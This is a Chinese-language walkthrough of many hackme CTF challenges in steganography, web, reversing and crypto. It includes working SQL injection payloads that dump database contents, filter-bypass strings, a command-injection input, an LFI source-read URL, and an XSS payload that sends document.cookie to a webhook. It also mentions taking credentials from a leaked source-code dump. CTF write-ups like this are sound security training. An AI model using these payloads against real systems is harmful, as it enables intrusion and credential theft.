Hackme CTF write-up

網址
不需要辦帳號，只需隨便打一個 ID 就可以開始解(拜託不要登我的幫我解XD)

警告，該頁面含有大量提示或可能含有 Flag。

Misc

#1 flag

範例題目，Flag 就是FLAG{This is flag's format}

#2 corgi can fly

題目網址點進去是一張狗狗的圖片
我一開始先使用 binwalk 解看看，發現裡面有一個 zlib 檔案
- 接著使用 zlib viewer 看看這個檔案，最後面會看到一個像是 base64 編碼過的字串
- 解碼後得到 Did you tried LSB?
- Image Not Showing Possible Reasons
  The image file may be corrupted
  The server hosting the image is unavailable
  The image path is incorrect
  The image format is not supported
  Learn More →
LSB 指的應該是 LSB 隱寫術
- 提示說可以使用 stegsolve
用 stegsolve 打開圖片，每個 plane 看看，最後會在 red plane 0 看到一張 QR code
- Image Not Showing Possible Reasons
  The image file may be corrupted
  The server hosting the image is unavailable
  The image path is incorrect
  The image format is not supported
  Learn More →
丟到 QR code 掃碼器就可以得到 flag

#3 television

題目點進去後會得到一張圖片，下載下來並丟入 Hex Viewer，查詢FLAG即可看到 FLAG。
Image Not Showing Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →

#4 meow

參考：https://blog.csdn.net/qq_41509200/article/details/100803074
題目打開會看到一個圖片，下載下來之後用 binwalk 掃一下，發現裡面有壓縮檔。
接著用 foremost 將檔案和圖片分離，得到原圖片 00000000.png 和壓縮檔 00000094.zip。
嘗試解壓縮，可以發現 flag 就在裡面，但被經過加密打不開；用 unzip -v 00000094.zip 分析，得到 CRC 值為cdad52bd。
接著將原圖 00000000.png 也壓縮，並查看 CRC 值發現一樣。
- zip plain.zip 00000000.png
- unzip -v plain.zip
因此存在明文攻擊，可以用工具 pkcrack 爆開。
- ./pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P plain.zip -p 00000000.png -d result.zip -a

#5 where is flag

題目會給你一個檔案flag.xz，解壓縮後會得到檔案flag，裡面有一堆很像 Flag 的東西。
題目提示你使用 regular expression，我這邊使用線上工具 regex101。
我一開始不太確定 Flag 裡面能不能放特殊符號，所以我的規則是：
- 開頭是FLAG{
- 結尾是}
- 中間不能有{} [] ()這些符號。
轉換成 regex 就是FLAG{[^\{\}\[\]]+}
- 出來的結果不只一個，發現其他都有@，只有一個純英文數字。
- 可以將@也加入 regex 排除，不過我這邊就直接丟答案了。

#6 encoder

題目附了兩個檔案，一個是加密的 code，另一個則是加密後的結果
簡單看一下加密流程
- 共有四種加密法
  - 英文字前後交換
  - base64
  - string to hex
  - 英文字大小寫交換
- 每次隨機選一種方法
- flag = 方法(index) + 加密後的 flag
- 重複 30 ~ 50 次
仔細看一下就會發現其實全部的加密都是可還原的(與其說是加密不如說是編碼)，那就從結果一路解回來即可
- 第一個字就是編碼的方式
- 因為不知道做了幾次，所以就做到錯誤或是到 50 次為止



























#!/usr/bin/env python2

import string

def re_rot13(s):
    return s.translate(string.maketrans(string.uppercase + string.lowercase, string.uppercase[13:] + string.uppercase[:13] + string.lowercase[13:] + string.lowercase[:13]))

def re_base64(s):
    return ''.join(s.decode('base64').split())

def re_hex(s):
    return s.decode('hex')

def re_upsidedown(s):
    return s.translate(string.maketrans(string.uppercase + string.lowercase, string.lowercase + string.uppercase))

enc = open('flag.enc', 'r').read()

D = (re_rot13, re_base64, re_hex, re_upsidedown)

for i in range(50):
    try:
        type = int(enc[0])
        print i, type
        enc = D[type](enc[1:])
    except ValueError:
        break

#7 slow

題目叫我們使用 nc 連到 server，實際連上去之後會跟我們說 Flag 格式是 FLAG\{[0-9A-Z_]+\}
然後叫我們輸入 Flag，過一段時間後就會說 Bye 並結束連線。
再詳細測試後會發現，輸入隨便的字串 123 和有符合格式的 FLAG{123}，回傳 Bye 的時間有所差異。
- 推測 Flag 對的越多，回傳時間越久
- 利用這點暴力解每個字元，利用時間判斷字元是否正確





















import time
import string
from pwn import *

flag = 'FLAG{'

while not flag.endswith('}'):
    for c in string.ascii_uppercase + string.digits + '}_':
        r = remote('ctf.hackme.quest', 7708)
        r.recvuntil('}\n')
        r.sendline(flag + c)
        start = time.time()
        r.recvuntil('Bye')
        t = time.time() - start
        print(t)
        r.close()

        if t - 1.5 > len(flag):
            flag += c
            print(flag)
            break

然後就放著跑，要跑一段時間，最後 Flag 如果正確會回傳 Good。

#8 pusheen.txt

題目下載下來是一個壓縮檔，裡面有一個 txt 文字檔，內容是一堆胖吉貓。
觀察一下之後發現胖吉貓有白的和黑的兩種，直覺性的帶換成 0 和 1。













f = open("pusheen.txt", "r", encoding = 'utf8')
lines = f.readlines()
code = ""
num = 0
for line in lines:
    if(num % 16 == 3):
        if("▒" in line):
            code += "1"
        else:
            code += "0"
    num += 1
f.close()
print(code)

得到一串二進位數字之後，先轉為 Hex 碼再轉為字串就是 Flag。

#13 BZBZ

點進題目後，會看到一個假的B站頁面，基本上只有登錄有用。
隨手輸入一個帳號密碼後，跳出提示You must be a employee from bilibili!，看來要使用員工的格式才有用。
搜尋bilibili employee format後得知帳號格式為XXX@bilibili.com，輸入後得到提示Do you like golang? We use golang for our service and it was opensourced.。
這邊和這題的 Description 都是在暗示你直接搜尋B站之前的源碼洩漏事件，google gitbhu openbilibili後可以找到一堆大家備份下來的數據庫XD
之後就是在裡面找到一組能用的帳號密碼，輸入後得到 Flag。
- app/admin/ep/melloi/cmd/convey-test.toml的 mail 裡面那組是能用的。
- 找了其他幾組都無法成功，不確定是不是只有這一組能觸發。
- 直接透過 google 爆搜相關新聞或討論其實也可以直接找到能用的帳號密碼，不一定要去挖程式碼。

Web

#15 hide and seek

主頁面，反白XD

#16 guestbook

題目網頁
隨便丟一個 New Post 之後，到 Message List 查詢，發現網址後面是 id=XXX，含有 sqli 攻擊的可能。
先用 UNION 確認資料列的數量：
- mod=read&id=-1 UNION SELECT 1...
- mod=read&id=-1 UNION SELECT 1,2,3,4 這個有顯示出東西，代表資料有四列。
接著將有顯示出來的數字(2, 3, 4)換成想要偷的資料，這邊想要先偷出 database name：
- id=-1 UNION SELECT 1,2,3,database()
- 可以看到畫面上原本顯示 4 的地方變成了 g8，代表 database 名稱為 g8。
然後從 CTF 常見的 information_schema 偷資料。
- SELECT table_name FROM information_schema.tables WHERE table_schema='資料庫名稱' 找到資料表中的列表，再利用 limit 可以顯示出資料。
- payload: id=-1 UNION SELECT 1,2,3,(SELECT table_name FROM information_schema.tables WHERE table_schema='g8' limit 0,1)
- 找到一個名為 flag 的 table，很像我們要的。
再來一樣利用 information_schema 找出 flag 這個 table 中有那些欄位：
- select column_name from information_schema.columns where table_name='flag' limit '偏移量',1
- 在 id=-1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 1,1),3,4# 發現裡面有個欄位叫 flag，應該就是我們要的。
整理一下，所以我們要的是在資料庫 flag 中的 flag 這個欄位的資料，因為不知道資料是哪一個所以一樣用 limit 來偏移：
- id=-1 union select 1,(select flag from flag limit '偏移量',1),3,4#
- 最後 payload: id=-1 union select 1,(select flag from flag limit 1,1),3,4#
- 第 0 和 2 的欄位是貓貓gif XDD

#17 LFI

題目網頁
隨便點上面的一個 URL-Link，可以發現 URL 的格式是 lfi/?page=pages/<XXX>，看起來就很 LFI ~~(廢話)~~
到 Login 的頁面，需要輸入帳號密碼
- 頁面 URL 是 https://ctf.hackme.quest/lfi/?page=pages/login
利用 base64 的 filter 拉出原始碼
- https://ctf.hackme.quest/lfi/?page=php://filter/convert.base64-encode/resource=pages/login
- 得到一串 base64 碼
丟到解碼器，得到原始碼



















<?php
require('config.php');
if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {
    echo $flag;
} else {
?>
<form action="?page=pages/login" method="post" role="form">
	<div class="form-group">
		<label for="user-i">User</label>
		<input type="text" class="form-control" id="user-i" placeholder="Username" name="user">
	</div>
	<div class="form-group">
		<label for="pass-i">Password</label>
		<input type="password" class="form-control" id="pass-i" placeholder="Password" name="pass">
	</div>
	<button type="submit" class="btn btn-primary">Login</button>
</form>
<?php } ?>

這邊知道帳號是 admin，但密碼是經過 md5 的 hash 值，要怎麼知道呢？
- 爆表查詢
- 得到密碼 passw0rd
登入後成功得到 Flag

#18 homepage

都叫 homepage 了，所以就到主頁面看看。
都是 Web 題了，那就先打開 F12 看看有啥，果然發現 console 有東西：
用 QR code 掃一下得到 Flag

#19 ping

題目網頁
頁面中可輸入一個 IP，他會幫我們 ping 過去
蠻明顯有個 command injection 的漏洞，不過題目 ban 了一堆字
看一下之後發現 ban 了 $0 不過沒有 ban 單純 $ 這個字
- $(ls) 可以看到注入成功，當前目錄有 flag.php
再來我們想要把 flag cat 出來，可是 cat 是禁字
- 查一下 cheat sheet，可以發現 $2 可以當作分隔用的字(因為參數 2 沒有任何東西)
輸入 $(c$2at f*)，得到 Flag

#20 scoreboard

翻了老半天的 code 都沒翻到東西，轉到 NetWork 介面看封包，直接就找到了。
- 藏在 scoreboard/ 這個封包的 Response Header 裡面。

題目網址
題目給了 source code 和一個登入介面，稍微掃過一下 code 很明顯是要 sqli
可以看到他做的處理是黑名單，禁止我們做 or 1=1 drop update delete，然後單引號會被加上反斜線，基本上有擋跟沒擋一樣
- 反斜線的部分在前面再加一個反斜線就可以過了
- or 1=1 可以用 or 2=2 或是 || 1=1 來 bypass
這邊使用 \'OR 2=2 # / asd 就可以登入了，但登入後卻顯示我不是 admin 拿不到 flag
重新看一次 source code 後發現最上面的註解告訴我們，有第三個欄位 is_admin 來判斷是否為 admin，因此我們需要過濾出是 admin 的那一筆資料
- 利用 limit
最後 payload
- \'OR 2=2 limit 1,1#

題目網址和上一關一樣
上一關解開之後，Flag 的後面會寫 flag2 in the database!，表示這一題其實還有第二個隱藏 flag
- 估計是其他 user 的密碼或是在其他的表裡面
同時我們可以注意到第一關登入後，會有 Hi, admin 的字樣，懷疑這裡的 admin 是從 database 拉出來的
- 用 union 測試
- \'AND 1=2 union select 1,2,3,4 #
- 畫面上變成 Hi, 2，代表第二個欄位會顯示出來，可以利用
先看看 admin 的密碼是不是 flag
- \'AND 1=2 union select 1,password,3,4 from user limit 1,1#
- 密碼為 password length is the key to secure your system，看起來不是 flag
檢查有沒有其他使用者
- \'OR 2=2 limit 2,1# 出現 Hi, inndy
拉出 inddy 的 password
- \'AND 1=2 union select 1,password,3,4 from user limit 2,1#
- 密碼為 meow~~~~~~~i am not admin，看來 flag 在其他表裡面
爆表名
- \'AND 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=database() limit 0,1#
- 找到另一張表 h1dden_f14g
爆 column
- \'AND 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name=0x68316464656e5f66313467 limit 0,1#
- 這邊要注意不能打單引號會被前面的機制給加上反斜線，所以字串要改成數字的方式來處理
- 得到 column the_f14g
拉出 flag
- \'AND 1=2 union select 1,the_f14g,3,4 from h1dden_f14g limit 0,1#
- 成功得到 flag

題目網頁
和前一題大同小異，WAF 有所更新，禁止：
- (空格)
- 1=1
- ''
- union select
- select
最麻煩的部分應該是空格不能用
- 使用 /**/ 代替掉空格
基本上按照上一題的 payload 去修改即可
- \'OR/**/2=2/**/limit/**/1,1#

#38 xssme

題目網址
進入網頁後先隨便辦一個帳號，然後知道這是一個信箱功能的 web
收件匣中有封信，裡面說道 admin 會閱讀所有你寄給它的信但它不會回信
那目標就是寫一封信
- 裡面可以觸發 js code
- 跳轉網址到自己的 server
- 後面附帶 get 參數，內容是 cookie
  - location.href = <WEBHOOK> + '?' + document.cookie
實際去寫信之後會發現，<scirpt> 的標籤會被禁止
- 去 web cheat sheet 慢慢試，發現 <svg/onload=<JSCODE>> 這個 payload 可以使用
然後也會發現 location.href 被禁止
- 利用 HTML 編碼，線上工具
這邊接收請求用的網頁我是使用 web.hook.sh
最後 payload:

<svg/onload=location&#x2E;href='<WEBHOOK>?'+document.cookie>

寄出信件後，就會在 webhook 的地方看到 flag，不過要記得做 URL decode
- 還會拿到 flag2 在 REDIS 裡面的提示

Reversing

#41 helloworld

下載下來之後，先執行看看，它會要求你輸入一個魔術數字，如果隨便輸入會叫你再試試。
- 如果無法執行，可以使用線上Ubuntu。
- 用 wget 下載題目，用 chmod +x 新增執行權限。
用 file 指令看一下，發現它沒有 strip，直接用 Ghidra 逆向看看。
打開來後會看到 main() 裡面對一個變數先 scanf 又做 if 判斷，很像我們要的東西，將 if 判斷中的數字輸入即可得到 Flag。

#42 simple

同#41，測試完之後進入逆向環節。
逆向一樣沒有 strip，到 main 之後看到它是將 input 字串每個字元+1，最後比對字串 UIJT.JT.ZPVS.GMBH。
- 因此將 UIJT.JT.ZPVS.GMBH 全部減一即可。

#43 passthis

題目下載下來之後執行看看，它會叫你輸入 Flag。
一樣直接丟進 Ghidra，會發現 main 有點複雜，可以直接找到 Let me check your flag: 的部分往下看。
- 前面的部分其實是下載一張圖片，如果你之後 Flag 輸入錯誤會把它換成你的桌布。
- 不過不知道是不是 Windows 版本問題，我這邊只會變成全黑的桌布xD
輸入完字串之後，它會檢查第一個字是不是 F，然後做一連串的檢查。
- 懶得繼續逆向，直接推測 + 實測。
這邊合理推測是判斷輸入是不是 FLAG{????}，只要前面正確就會輸出 Good flag :)，否則 Not the flag!。
那麼我們只要瘋狂把 ASCII 可視字元全部打進去就知道結果了。























from pwn import *

context.log_level = 'ERROR'
flag = 'FLAG{'

while True:
    for i in range(30, 150):
        c = chr(i)
        p = process('./passthis.exe')
        f = flag + c
        b = bytearray(f, 'ascii')
        try:
            p.sendline(b)
        except EOFError:
            print('eof')
        r = p.recvline()
        if 'Good' in r.decode('ascii'):
            flag = f
            p.close()
            break
        else:
            p.close()
    print(flag)

#44 pyyy

題目載下來是一個 .pyc 檔案，Google 一下發現是 python 編譯後的檔案。
使用反編譯工具跑一下，得到一份 python2 的檔案。






























# uncompyle6 version 3.5.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.5 (default, Aug  7 2019, 00:51:29) 
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)]
# Embedded file name: pyyy.py
# Compiled at: 2016-06-12 01:14:31
__import__('sys').setrecursionlimit(1048576)
data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI'
a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907L
b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499L
c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619L
d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053L
e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707L
F = (a, b, c, d, e)
m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011L
g = 67051725181167609293818569777421162357707866659797065037224862389521658445401L
z = []
for i, f in enumerate(F):
    n = pow(f, m, g)
    this_is = 'Y-Combinator'
    l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1 if x < 2 else f(x - 1) * x % n)(g % 27777)
    c = raw_input('Channenge #%d:' % i)
    if int(c) != l:
        print 'Wrong~'
        exit()
    z.append(l)

z.sort()
gg = '(flaSg\'7 \\h#GiQwt~66\x0csxCN]4sT{? Zx YCf6S>|~`\x0c$/}\'\r:4DjJFvm]([sP%FMY"@=YS;CQ7T#zx42#$S_j0\\Lu^N31=r\x0b\t\tjVhhb_KM$|6]\nl!:V\rx8P[0m ;ho_\rR(0/~9HgE8!ec*AsGd[e|2&h!}GLGt\'=$\x0cbKFMnbez-q\\`I~];@$y#bj9K0xmI2#8 sl^gBNL@fUL\x0b\\9Ohf]c>Vj/>rnWXgLP#<+4$BG@,\'n a_7C:-}f(WO8Y\x0c2|(nTP!\'\\>^\'}-7+AwBV!w7KUq4Qpg\tf.}Z7_!m+ypy=`3#\\=?9B4=?^}&\'~ Z@OH8\n0=6\x0b\tv\nl!G\'y4dQW5!~g~I*f"rz1{qQH{G9\x0c\'b\x0cp\x0bdu!2/\\@i4eG"If0A{-)N=6GMC<U5/ds\rG&z>P1\nsq=5>dFZUWtjv\tX~^?9?Irwx\\5A!32N\x0bcVkx!f)sVY Men\x0c\'ujN<"LJ\x0c5R4"\\\\XPVA\'m$~tj)Br}C}&kX2<|\np3XtaHB.P\'(E 4$dm!uDyC%u ["x[VYw=1aDJ (8V/a!J?`_r:n7J88!a25AZ]#,ab?{%e\x0b]wN_}*Q:mh>@]u\t&6:Z*Fmr?U`cOHbAf7s@&5~L ,\tQ18 -Hg q2nz%\x0ccUm=dz&h1(ozoZ)mrA=`HKo\n\'rXm}Z-l3]WgN\\NW<{o=)[V({7<N1.-A8S"=;3sderb\tOZ$K\r0o/5\x0bMc76EGCWJ3IQpr7!QhbgzX8uGe3<w-g\'/j\'\tM4|9l?i&tm_\n57X0B2rOpuB@H@%L_\r)&/q=LZa(%}""#if#Kq74xK?`jGFOn"8&^3Q-\r#]E$=!b^In0:$4VKPXP0UK=IK)Y\rstOT40=?DyHor8j7O\\r/~ncJ5];cCT)c?OS0EM5m#V(-%"Tu:!UsE],0Dp  s@HErS]J{%oH54B&(zE.(@5#2k\tJnNlnUEij\\.q/3HBpJNk*X(k5;DlqK\'\'fX\r}EBk_7\x0b:>8~\t+M@WJx.PO({/U}1}#TqjreG\nN{\rX>4EsJr0Pn\\Z\\aL/-U<<{,Q;j\tF=7f\')+wH:p{G=_.s\\t-\x0bI\x0c*y\t1P:Y|/2xE<uo]~$>5k]FW+>fR<QA"(Fj[LL(hzfQo#PJ;:*0kB~3]9uL[o.xue:VQ\t;9-Tu\tq|mzzhV_okP\t,d\rQ`]5Gf\x0c#gXB\x0cAH|)NI|K=KW-&p-<b"3e.rO\x0cuK=\x0c^\r+MuLxCJ`UKaD\x0bBH&n+YVajZ(U7pwWtto3T10VLHwSJ\rK\t}\'F$l1:b2Bd\na=#t0iq}#!{1_)w$}<Dp(borC\'\t?r6;,+k;a(Q3@B?RCWYEDrjZe![x=n_%S]rl{&fLr*mgCD;92/nNsaxKy/;\nr]sPK=`+YP>MmfB\n8O4/"}nE7r*=41f2\t37>K\'s$wpl;qS[`qzu\x0b\t\nuaU|b,C`4& dRN~]7DnuTb2FhNHV!#Z2Hho\x0b[%.{O\t$q0\x0ch_@?w@b8[I^{JL|O8]i8{p)A.w)14qK3JoyF%licZ~ga\rW[L:W\rtIvfWJjZUOvB\rS.Beav3!-@bw|PexJ Pcw1\ry6!63B}]J])6fak/3r]W\tMeXt[uc(1_U lys{a1X\r%)[wwP3rhgNW{*d~_E%Q2htCt5ha@l0^0=\x0bwT\ni4/V;_\nM1rb?w~Q)Dli4u\n`}1+D8"\t`@V~$9l$Uy**VnI (@Ga0<RxfmoNgJTtE-aLH\rE5fMy7rk$)V\rL2Fv/AivOa"\nuX|70Xrw^D]%i%JyT\x0cc%cwZ/Wbp=IiY;/@nFEe>3=tM;K*`fReGoc5V/Ri?nXZ-RW)\'\t<\x0cV>@X@-Ei4%sO%},B_pjc`s"@oKCmdgDhjUZT@?mb\'?Q:F\x0bLJkPgjaFAc=rbrjAz$Zz\x0cq0GU!")xFOEF(x!3M\t:l83|}}HgGJJ#eT/I\x0b[|lK_n+;Wi/N^B4LzL.a(gVWq,zO6\'S|tb>RX` ca*CO<w\x0ci =wc1,M~\x0bc`FYEs\r){+Ll8[I9-88m\t\\iK/\\hno-C[vX*3Hx:%:K\rt\x0cW!tj\'SOhqxP|k7cw Hm?I@?P\'HmapG7$0#T(Auz]sjmd#\rFP/}53@-Kvmi(d%dZKLZ2LK\'e_E\x0bQmR 5/(irq4-EUyp<hB?[\tnU:p*xuzASM'
print ('').join(gg[(lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda n: 1 if n < 3 else f(n - 1) + f(n - 2))(i + 2)] for i in range(16)) % ('').join(data[pow((__import__('fractions').gcd(z[(i % 5)], z[((i + 1) % 5)]) * 2 + 1) * g, F[(i % 5)] * (i * 2 + 1), len(data))] for i in range(32))

到有 python2 的環境實際跑一次，會要求輸入數字，Trace 一下 code，發現第 22 行要求輸入 c 並且比較是否和 l 相等。
改一下 code，將第 22 行直接改成 c = l，執行得到 Flag。

#45 accumulator

一樣下載執行丟 Ghidra。
這次的有 strip 因此比較難讀，但我們知道執行時有打印出 What's your flag? 的字串，我們可以先 Search -> For Strings… 找出所有字串的記憶體位置，然後再對該字串按Ctrl + Shift + F 做 Cross reference 搜尋，快速找到哪個 Function 使用到該字串，而該 Function 就是 main Function。
main 中的 19 行做了 input 的讀取，然後後面做了 SHA512，最後做了兩次看起來像 Check Funtcion 的東西後輸出結果。
- 合理懷疑 Check Function 就是關鍵。
進入 Check Function 後稍微修一下名稱：
- 對變數按 L 可修改名稱。
觀察一下可以得到：
- str[0] = TABLE[0]
- str[1] + str[0] = TABLE[1]
- str[2] + str[1] + str[0] = TABLE[2]
- …
回推一下得到：
- str[1] = TABLE[1] - TABLE[0]
- str[2] = TABLE[2] - TABLE[1] - TABLE[0]
- …
因此我們可以從 TABLE 回推出 str 到底是什麼，先從 Ghidra 去調 TABLE
- 對 TABLE 按兩下會跳到他的記憶體區段，然後上面的 code 第 15 行可以知道是用 int 當作單位。
- 全選 TABLE 區段，右鍵 Data -> int 就可以轉換。
- 複製所有資料然後丟到 python 處理一下得到 Flag：




a = [ 0xC3, 0xFF, 0x1ED, 0x248, 0x31F, 0x3A1, 0x3B2, 0x43E, 0x49C, 0x4A0, 0x58D, 0x63B, 0x70D, 0x736, 0x821, 0x910, 0x97E, 0xA2D, 0xAA7, 0xB9C, 0xC8D, 0xD4B, 0xD5A, 0xE41, 0xE80, 0xF6E, 0xF95, 0x1061, 0x1084, 0x112A, 0x11AB, 0x1210, 0x1262, 0x1347, 0x1387, 0x13D0, 0x13F2, 0x14AB, 0x1586, 0x15A0, 0x160C, 0x1677, 0x1769, 0x17E6, 0x17EE, 0x1836, 0x1843, 0x190A, 0x1945, 0x19D1, 0x19F7, 0x1A60, 0x1B42, 0x1B62, 0x1B8D, 0x1BC2, 0x1C6A, 0x1D2C, 0x1D8B, 0x1DF9, 0x1E1A, 0x1F14, 0x1FD2, 0x1FFB, 0x2041, 0x208D, 0x20CE, 0x2115, 0x2190, 0x21C0, 0x21F5, 0x2226, 0x2259, 0x228C, 0x22C5, 0x22F9, 0x232F, 0x2366, 0x2399, 0x23C9, 0x23FF, 0x2465, 0x249E, 0x24D5, 0x250B, 0x2544, 0x2577, 0x25AC, 0x25DC, 0x260D, 0x2640, 0x2676, 0x26D8, 0x270C, 0x273D, 0x27A0, 0x27D3, 0x2806, 0x2836, 0x286E, 0x28A2, 0x28D2, 0x2937, 0x299C, 0x29FE, 0x2A61, 0x2AC2, 0x2B25, 0x2B58, 0x2B8B, 0x2BC2, 0x2C28, 0x2C59, 0x2CBB, 0x2CF3, 0x2D55, 0x2D85, 0x2DE9, 0x2E4C, 0x2E7C, 0x2EAF, 0x2F14, 0x2F49, 0x2F81, 0x2FE3, 0x3048, 0x3079, 0x30AD, 0x3113, 0x3178, 0x31AE, 0x31E7, 0x3217, 0x3279, 0x32AA, 0x32DC, 0x330F, 0x3375, 0x33AB, 0x33DC, 0x343E, 0x346E, 0x34D1, 0x3501, 0x3563, 0x3596, 0x35CB, 0x3631, 0x3694, 0x36CD, 0x3700, 0x3763, 0x37C6, 0x3829, 0x3860, 0x3892, 0x38C3, 0x38F3, 0x3923, 0x3957, 0x398C, 0x39C5, 0x39F8, 0x3A2E, 0x3A67, 0x3ACC, 0x3B32, 0x3B6A, 0x3B9F, 0x3BD2, 0x3C03, 0x3C64, 0x3C95, 0x3CFA, 0x3D32, 0x3D93, 0x3DCA, 0x3E2C, 0x3E60, 0x3E92, 0x3ECB, 0x3F04, 0x3F69, 0x3FA0, 0x4002, 0x403B, 0x409F, 0x40D8, 0x410F, 0x413F, 0x41A1, 0x41DA, 0x423B, 0x426D, 0x42A0, 0x4301, 0x4362, 0x43DF ]

for i in range(1,len(a)):
    print(chr(a[i] - a[i-1]),end='')

Pwn

#57 catflag

題目要求使用nc hackme.inndy.tw 7709連到 server 上。
連上去之後顯示plz capture the flag after 5 seconds... 並開始倒數。
- 倒數結束後，該 process 變成一個遠端 shell，但幾乎不能做任何操作。
- 輸入 ls 得到 flag run.sh shell 三個檔案，但其他指令都沒有反應。
重新 nc 之後，五秒內輸入cat flag即可。

Crypto

#81 easy

題目是 526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d，先將其做 HexDecode 再做 base64Decode 即可。

#82 r u kidding

題目是 EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}，有一點 sense 就知道只是 shift 而已。
- 答案也跟你說就是 caesar cipher。

#83 not hard

題目是 Nm@rmLsBy{Nm5u-K{iZKPgPMzS2I*lPc%_SMOjQ#O;uV{MM*?PPFhk|Hd;hVPFhq{HaAH<，提示使用 python3 的 base64 套件。
試一下之後發現用 base85 解碼，可以得到 IZGECR33IRXSA6LPOUQGW3TPO4QGEYLTMUZTEIDFNZRW6ZDJNZTT67I=。
接著使用 base32 再解一次，得到 Flag。
感覺有點小通靈XD 不過 base64 套件全部試一次一樣可以得到答案。

#84 classic cipher 1

題目是 MTHJ{CWTNXRJCUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}，並告訴你說使用替換加密法。
使用線上工具就得到答案了。

#85 classic cipher 2

題目是很長一串的密文，並告訴你使用 vigenere cipher。
我們知道 vigenere cipher 可以使用頻率分析法去破解，但不可能自己寫。
Google vigenere cipher online without key 找到線上工具
- 記得調整 key 的大小和語言

#86 easy AES

題目給了一段 python code，簡單分析一下：
1. 要求使用者輸入明文
2. AES 加密明文，如果不等於Good Plain Text!就噴錯跳出
3. 如果相等，用AES解密一串神祕資料並吐成圖片。
我們知道 AES 是對稱式加密，我們的目標是AES_encrypt(Plain) = "Good Plain Text!"，反過來得到Plain = AES_decrypt("Good Plain Text!")
當然不需要手動計算或輸入這個明文，直接修改 python code 讓它自動計算即可(第三行)：













def main(data):
    c = AES.new(b'Hello, World...!')
    plain_text = c.decrypt(b'Good Plain Text!')
    if c.encrypt(plain_text) != b'Good Plain Text!':
        print('Bad plain text')
        exit()

    c2 = AES.new(plain_text[::-1], mode=AES.MODE_CBC, IV=b'1234567887654321')

    decrypted = c2.decrypt(data)

    with open('output.jpg', 'wb') as fout:
        fout.write(decrypted)

Programming

#97 fast

題目給了一個 nc 指令，輸入後出現提示要輸入Yes I know，輸入後出現10000行題目，要在時間內回答完畢才能得到 Flag。
